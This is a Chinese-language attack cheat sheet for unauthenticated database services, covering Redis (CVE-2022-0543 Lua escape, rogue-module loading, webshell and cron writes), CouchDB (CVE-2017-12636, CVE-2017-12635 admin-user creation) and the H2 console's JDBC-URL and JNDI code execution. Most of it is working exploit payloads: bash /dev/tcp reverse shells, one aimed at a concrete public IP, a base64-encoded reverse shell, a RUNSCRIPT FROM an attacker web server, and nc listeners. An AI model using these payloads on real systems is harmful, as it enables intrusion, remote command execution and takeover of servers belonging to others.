1.redis未授權訪問
默認端口:6379
1.1 Redis沙盒逃逸漏洞RCE-CVE-2022-0543
介紹:Redis 是一套開源的使用 ANSI C編寫、支持網絡、可基于內存亦可持久化的日志型、鍵值存儲數據庫,并提供多種語言的API。Redis 如果在沒有開啟認證的情況下,可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。
影響版本:僅為運行在 Debian、Ubuntu?或其他基于 Debian 的 Linux 發行版系統上的 以下Redis 服務。
?2.2 <= redis < 5.0.13
?2.2 <= redis < 6.0.15
?2.2 <= redis < 6.2.5
Poc:執行id 和pwd命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
1.2?redis 未授權訪問(CNVD-2019-21763)
介紹:Redis是一個開源的使用ANSIC語言編寫、支持網絡、可基于內存亦可持久化的日志型、Key-Value數據庫,并提供多種語言的AP!。由于在Reids 4.x及以上版本中新增了模塊功能,攻擊者可通過外部拓展,在Redis中實現一個新的Redis命令。攻擊者可以利用該功能引入模塊,在未授權訪問的情況下使被攻擊服務器加載惡意.s0 文件,從而實現遠程代碼執行。
https://github.com/vulhub/redis-rogue-getshell
python redis-master.py-r 目標IP -p 目標端口 -L 攻擊IP -P 8888 -f?RedisModulesSDK/exp.so -c "id"
1.3?未授權訪問CNVD-2015-07557
寫 webshell 需得到 web 路徑
利用條件:web 目錄權限可讀寫
config set dir /tmp? ? ?#設置WEB 寫入目錄
config set dbfilename 1.php? ? ?#設置寫入文件名
set test "<?php phpinfo();?>"? ? ?#設置文件代碼
bgsave? ? ?#保存執行
save? ? #保存執行注意:部分沒目錄權限讀寫權限
寫定時任務反彈 shell
config set dir /var/spool/cron
set yy "\n\n\n***** bash -i >& /dev/tcp/47.94.236.117/55550>&1\n\n\n"
config set dbfilename x
save
利用條件:安全模式protected-mode處于關閉狀態
注意:centos會忽略亂碼去執行格式正確的任務計劃而 ubuntu并不會忽略這些亂碼,所以導致命令執行失敗
1.4 redis使用工具
https://github.com/n0b0dyCN/redis-rogue-server
python redis-rogue-server.py--rhost 目標IP --rport 目標端囗--lhost IP
2.數據庫Couchdb
默認端口:5984
2.1 數據庫Couchdb命令執行
(1)下載 exp.py
https://qithub.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
(2)修改目標和反彈地址
(3)Python執行腳本,攻擊機開啟監聽
2.2 Couchdb 垂直權限繞過(CVE-2017-12635)
介紹:Couchclo垂直權限繞過(CVE-2017-12635Apache CouchDB 是一個開源數據庫,專注于易用性和成為"完全擁抱 web 的數據庫"它是一個使用 JSON 作為存儲格式,JavaScript 作為查詢語言,MapReduce 和 HTTP作為 API的 NoSQL 數據庫。應用廣泛,如 BBC 用在其動態內容展示平臺,CreditSuisse用在其內部的商品部門的市場框架,Meebo,用在其社交平臺(web和應用程序)。
(1)創建用戶
PUT /_users/org.couchdb.user:用戶名 HTTP/1.1
Host: 攻擊IP:44389
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
? "type": "user",
? "name": "用戶名 ",
? "roles": ["_admin"],
? "roles": [],
? "password": "密碼"
}
(2)登錄驗證
Get:/_utils/
用戶名 密碼登錄成功
3 數據庫應用-H2database--未授權訪問&CVE漏洞
洞默認端口:20051
JavaSQ數據庫H2,H2的主要特點是:非常快,開源,JDBC API;嵌入式和服務器模式;內存數據庫;基于瀏覽器的控制臺應用程序。H2數據庫控制臺中的另一個未經身份驗證的 RCE 漏洞,在 v2.1.210+中修復。2.1.210 之前的 H2 控制臺允許遠程攻擊者通過包含子字符串的jdbc:h2:mem JDBC URL執行任意代碼。
3.1 未授權進入
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
?
rce執行反彈
H2 database自帶一個Web管理頁面,在Spirng開發中,如果我們設置如下選項,即可允許外部用戶訪問Web管理頁面,且沒有鑒權:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
H2 database的管理頁面,訪問http://主機:端口/h2-console
利用這個管理頁面,我們可以進行JNDI注入攻擊,進而在目標環境下執行任意命令。
vim fuckh2db.sql? 攻擊機創建一個文件fuckh2db.sql
這個sql文件內容需要自己修改
反彈shell命令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1 (這個IP寫你shell要反彈到哪臺主機上的那個主機的IP)
CREATE TABLE test (
? ? ?id INT NOT NULL?);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,把反彈shell的命令base64編碼過后放在這里}|{base64,-d}|{bash,-i}");';
在攻擊機上監聽端口 nc -lvvp xxxx (這個端口要看你剛才反彈shell時對應的端口)
填入Payload使其加載遠程SQL
下面這條命令的后面需要修改一下你自己攻擊機的IP和端口
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://192.168.91.129:89/h2database.sql';\
然后把命令寫入到 JDBC URL中點擊連接即可
返回監聽的主機上 看到拿到了反彈過來的shell,命令執行成功
3.2H2database jndi注入
利用這個管理頁面,我們可以進行?JNDI
?注入攻擊,進而在目標環境下執行任意命令。
工具地址:JNDI-Injection-Exploit
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 攻擊者IP
//反彈shell命令就行base64編碼
/bin/sh -i >& /dev/tcp/192.168.100.1/6666 0>&1
編碼后:? bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
攻擊端監聽? nc -lvvp 6666
將生成出來的所提供的服務,輸入到界面當中,進行連接
成功反彈shell